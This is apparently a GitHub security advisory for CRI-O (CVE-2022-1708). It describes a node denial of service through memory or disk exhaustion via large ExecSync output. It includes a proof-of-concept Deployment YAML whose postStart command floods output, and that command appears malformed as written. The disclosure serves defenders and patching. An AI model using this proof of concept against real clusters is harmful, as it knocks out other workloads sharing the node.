cri-o / cri-o Public

<> Code   Issues 66   Pull requests 61   Discussions   Actions   •••

Node DOS by way of memory exhaustion through ExecSync request

High **haircommander** published **GHSA-fcm2-6c3h-pg6j** on Jun 6

Package

CRI-O (Package)

Affected versions	Patched versions
<= 1.24.0, 1.23.2, 1.22.4	1.24.1, 1.23.3, 1.22.5

Description

Description

An ExecSync request runs a command in a container and returns the output to the Kubelet. It is used for readiness and liveness probes within a pod. The way CRI-O runs ExecSync commands is through conmon. CRI-O asks conmon to start the process, and conmon writes the output to disk. CRI-O then reads the output and returns it to the Kubelet.

If the output of the command is large enough, it is possible to exhaust the memory (or disk usage) of the node. The following deployment is an example yaml file that will output around 8GB of ‘A’ characters, which would be written to disk by conmon and read by CRI-O.

```
apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-deployment100
spec:
  selector:
    matchLabels:
      app: nginx
  replicas: 2
  template:
    metadata:
      labels:
        app: nginx
    spec:
      containers:
      - name: nginx
        image: nginx:1.14.2
        lifecycle:
          postStart:
            exec:
              command: ["/bin/sh", "-c", "seq 1 50000000`; do echo -n 'aaaaaaaaaaaaaaaa'; done"]
```

Impact

It is possible for the node to be exhausted of memory or disk space, depending on the node the command is being run on. What is further problematic is that the memory and disk usage aren't attributed to the container, as this file and its processing are implementation details of CRI-O. The consequence of the exhaustion is that other services on the node, e.g. other containers, will be unable to allocate memory and thus causing a denial of service.

Patches

This vulnerability will be fixed in 1.24.1, 1.23.3, 1.22.5, v1.21.8, v1.20.8, v1.19.7

Workarounds

At the time of writing, no workaround exists other than ensuring only trusted images are used.

References

GHSA-5ffw-gxpp-mxpf

For more information

If you have any questions or comments about this advisory:

- Open an issue in the CRI-O repo
- To make a report, email your vulnerability to the private
  cncf-crio-security@lists.cncf.io list
  with the security details and the details expected for all CRI-O bug
  reports.

Credits

Disclosed by Ada Logics in a security audit sponsored by CNCF and facilitated by OSTIF.

Severity

High

CVE ID

CVE-2022-1708

Weaknesses

No CWEs

Credits

DavidKorczynski

AdamKorcz